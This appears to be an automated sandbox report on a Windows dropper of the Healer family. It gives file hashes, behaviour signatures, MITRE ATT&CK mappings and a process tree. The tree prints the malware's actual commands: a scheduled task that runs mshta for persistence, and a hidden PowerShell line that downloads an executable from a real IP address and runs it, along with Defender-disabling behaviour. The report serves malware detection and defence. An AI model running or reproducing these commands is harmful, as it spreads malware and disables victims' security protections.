Overview

overview

10

Static

static

5

83d49a58f4...f9.exe

windows7-x64

10

83d49a58f4...f9.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-02-2025 02:48

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General

  • Target

    83d49a58f4c4910aed8ca2c8235a4008faf8895785a1efb8580fdd6f03ae0ef9.exe

  • Size

    938KB

  • MD5

    91c52c6849af5fe67eb447e6ad66556f

  • SHA1

    1ebf8b013ae9b52326be7196f4a04ab4aae3451c

  • SHA256

    83d49a58f4c4910aed8ca2c8235a4008faf8895785a1efb8580fdd6f03ae0ef9

  • SHA512

    8a90802fa783c434307c42b84d599e779e2582387f4349074429ff1aa9df2059ec2fffd723ac7e1be2d8fecbfb0cc450f5c9a78108acfd9c4d407c777e07d6e6

  • SSDEEP

    24576:sqDEvCTbMWu7rQYlBQcBiT6rprG8aesl:sTvC/MTQYxsWR7aes

Score
10/10
healerdefense_evasiondiscoverydropperevasionexecutiontrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\83d49a58f4c4910aed8ca2c8235a4008faf8895785a1efb8580fdd6f03ae0ef9.exe
    "C:\Users\Admin\AppData\Local\Temp\83d49a58f4c4910aed8ca2c8235a4008faf8895785a1efb8580fdd6f03ae0ef9.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2520
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn hmDWSmaSlMs /tr "mshta C:\Users\Admin\AppData\Local\Temp\3Axhwn1li.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1736
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn hmDWSmaSlMs /tr "mshta C:\Users\Admin\AppData\Local\Temp\3Axhwn1li.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2316
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\3Axhwn1li.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1752
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'S4P99COGFJXUK0OSPBVCQRPCQQEKF93Z.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2852
        • C:\Users\Admin\AppData\Local\TempS4P99COGFJXUK0OSPBVCQRPCQQEKF93Z.EXE
          "C:\Users\Admin\AppData\Local\TempS4P99COGFJXUK0OSPBVCQRPCQQEKF93Z.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1
T1059

PowerShell

1
T1059.001

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Persistence

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Privilege Escalation

Create or Modify System Process

4
T1543

Windows Service

4
T1543.003

Scheduled Task/Job

1
T1053

Scheduled Task

1
T1053.005

Defense Evasion

Impair Defenses

5
T1562

Disable or Modify Tools

5
T1562.001

Modify Registry

6
T1112

Virtualization/Sandbox Evasion

2
T1497

Credential Access

Discovery

Query Registry

3
T1012

System Information Discovery

2
T1082

System Location Discovery

1
T1614

System Language Discovery

1
T1614.001

Virtualization/Sandbox Evasion

2
T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\3Axhwn1li.hta
    Filesize

    726B

    MD5

    3d308ff94efd143ec10fc3369622b67b

    SHA1

    12adca67bfa3007ec6b9106ac17931557f24dcee

    SHA256

    83dd31089140ed3c299c2776383e89d1dd765ad21b78d8186125c446ea5bdf77

    SHA512

    97141120cf4d037c583b1bca9c10bfee4843a47406295b355505f63dbbbaa349f580f96bab18778c6de5f3f1d87c16a065743b3ccf7f90205e048871e5d380fb

    Download Submit

  • \Users\Admin\AppData\Local\TempS4P99COGFJXUK0OSPBVCQRPCQQEKF93Z.EXE
    Filesize

    1.7MB

    MD5

    716622b15cee226d3531e49f8862c429

    SHA1

    57ae6d04adc55a3b807a90617db281f3fb1d3d6c

    SHA256

    462e41456b5997aeba1a0da5b2196fe6a49ca7c0bbbd21e6f2fbbe9760f77bf2

    SHA512

    d7b0260a9544d3161455c7be0e93cd5d618999aea1e36907e59f0e44f609f95c567b15cdbc7374d61f262ddbc53682fae48ee2e90b74f838303f720244af2d80

    Download Submit

  • memory/2608-15-0x00000000013A0000-0x00000000017FC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2608-16-0x00000000013A0000-0x00000000017FC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2608-18-0x00000000013A0000-0x00000000017FC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2608-20-0x00000000013A0000-0x00000000017FC000-memory.dmp

    Filesize

    4.4MB

    Download

  • memory/2852-13-0x0000000006510000-0x000000000696C000-memory.dmp

    Filesize

    4.4MB

    Download